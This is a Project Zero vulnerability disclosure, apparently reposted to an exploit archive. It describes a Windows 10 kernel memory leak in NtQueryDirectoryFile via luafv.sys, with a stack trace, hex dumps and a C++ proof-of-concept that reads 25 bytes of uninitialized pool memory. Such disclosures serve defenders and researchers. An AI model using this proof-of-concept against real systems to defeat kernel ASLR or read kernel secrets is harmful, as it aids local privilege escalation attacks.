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/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1361 We have discovered that the nt!NtQueryDirectoryFile system call discloses portions of uninitialized pool memory to user-mode clients on Windows 10, due to uninitialized fields in the output structure being copied to the application. The problem manifests itself for information classes FileBothDirectoryInformation and FileIdBothDirectoryInformation, which use the following (or similar) structure: --- cut --- typedef struct _FILE_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; WCHAR FileName[1]; } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; --- cut --- We have found that for certain files, such as C:\Windows\explorer.exe, the "ShortNameLength" and "ShortName" fields are not initialized at any point before being passed to a ring-3 client. This leaves 25 bytes of leftover kernel pool memory which can be acquired in a single system call by a malicious local program. The pool allocation used to store the above structure is made in luafv!LuafvAllocatePool. The act of copying uninitialized kernel memory to user-mode was originally detected under the following stack trace: --- cut --- a0e90a28 9d2fb7a6 nt!memcpy+0x35 a0e90a50 9d2fecf4 luafv!LuafvCopyDirectoryEntry+0x52 a0e90a98 9d2fb577 luafv!LuafvCopyNextDirectoryEntry+0x365c a0e90b14 9d2f8afc luafv!LuafvMergeStoreDirectory+0x93 a0e90b60 9d2f8118 luafv!LuafvQueryStoreDirectory+0xdc a0e90b7c 89a5328d luafv!LuafvPreDirectoryControl+0xa8 90289adc 8e2bf040 FLTMGR!FltpPerformPreCallbacks+0x2ad WARNING: Frame IP not in any known module. Following frames may be wrong. a0e90c20 89a52bf3 0x8e2bf040 a0e90c58 89a52a0b FLTMGR!FltpPassThrough+0x163 a0e90c80 81cb6f53 FLTMGR!FltpDispatch+0x9b a0e90c9c 81f0c273 nt!IofCallDriver+0x43 a0e90cf0 81f0ac7f nt!IopSynchronousServiceTail+0x133 a0e90d20 81d51c97 nt!NtQueryDirectoryFile+0x5f a0e90d20 77a74d10 nt!KiSystemServicePostCall 00cadc48 77a727ba ntdll!KiFastSystemCallRet 00cadc4c 747ac7f0 ntdll!NtQueryDirectoryFile+0xa 00cadf58 747ac486 KERNELBASE!FindFirstFileExW+0x360 00cadf78 747b3d18 KERNELBASE!FindFirstFileW+0x16 00cae234 00d48a65 KERNELBASE!GetLongPathNameW+0x208 --- cut --- when smartscreen.exe called the documented GetLongPathNameW API against "C:\Windows\explorer.exe". The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for luafv.sys. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region: --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 a4 9e a2 74 2c d3 01 ............t,.. 00000010: 00 a4 9e a2 74 2c d3 01 e8 1f b3 fc d2 fa d2 01 ....t,.......... 00000020: 3f 93 7b 1a 76 2c d3 01 b8 ce 41 00 00 00 00 00 ?.{.v,....A..... 00000030: 00 d0 41 00 00 00 00 00 20 00 00 00 18 00 00 00 ..A..... ....... 00000040: e1 00 00 00 00 45 45 45 45 45 45 45 45 45 45 45 .....EEEEEEEEEEE 00000050: 45 45 45 45 45 45 45 45 45 45 45 45 45 45 65 00 EEEEEEEEEEEEEEe. 00000060: 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 2e 00 x.p.l.o.r.e.r... 00000070: 65 00 78 00 65 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? e.x.e........... --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 a4 9e a2 74 2c d3 01 ............t,.. 00000010: 00 a4 9e a2 74 2c d3 01 e8 1f b3 fc d2 fa d2 01 ....t,.......... 00000020: 3f 93 7b 1a 76 2c d3 01 b8 ce 41 00 00 00 00 00 ?.{.v,....A..... 00000030: 00 d0 41 00 00 00 00 00 20 00 00 00 18 00 00 00 ..A..... ....... 00000040: e1 00 00 00 00 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d .....=========== 00000050: 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 65 00 ==============e. 00000060: 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 2e 00 x.p.l.o.r.e.r... 00000070: 65 00 78 00 65 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? e.x.e........... --- cut --- Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <winternl.h> #include <cstdio> #define FileBothDirectoryInformation ((FILE_INFORMATION_CLASS)3) extern "C" NTSTATUS WINAPI NtQueryDirectoryFile( _In_ HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINEApcRoutine, _In_opt_ PVOIDApcContext, _Out_PIO_STATUS_BLOCK IoStatusBlock, _Out_PVOIDFileInformation, _In_ ULONGLength, _In_ FILE_INFORMATION_CLASS FileInformationClass, _In_ BOOLEANReturnSingleEntry, _In_opt_ PUNICODE_STRINGFileName, _In_ BOOLEANRestartScan ); VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } int main() { // Open the disk device. HANDLE hDir = CreateFile(L"C:\\Windows", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (hDir == INVALID_HANDLE_VALUE) { printf("CreateFile failed, %d\n", GetLastError()); return 1; } // Obtain the output data, assuming that it will fit into 1024 bytes. IO_STATUS_BLOCK iosb; UNICODE_STRING FileName; RtlInitUnicodeString(&FileName, L"explorer.exe"); BYTE OutputBuffer[1024]; RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer)); NTSTATUS st = NtQueryDirectoryFile(hDir, NULL, NULL, NULL, &iosb, OutputBuffer, sizeof(OutputBuffer), FileBothDirectoryInformation, TRUE, &FileName, FALSE); if (NT_SUCCESS(st)) { PrintHex(OutputBuffer, iosb.Information); } else { printf("NtQueryDirectoryFile failed, %x\n", st); } CloseHandle(hDir); return 0; } |
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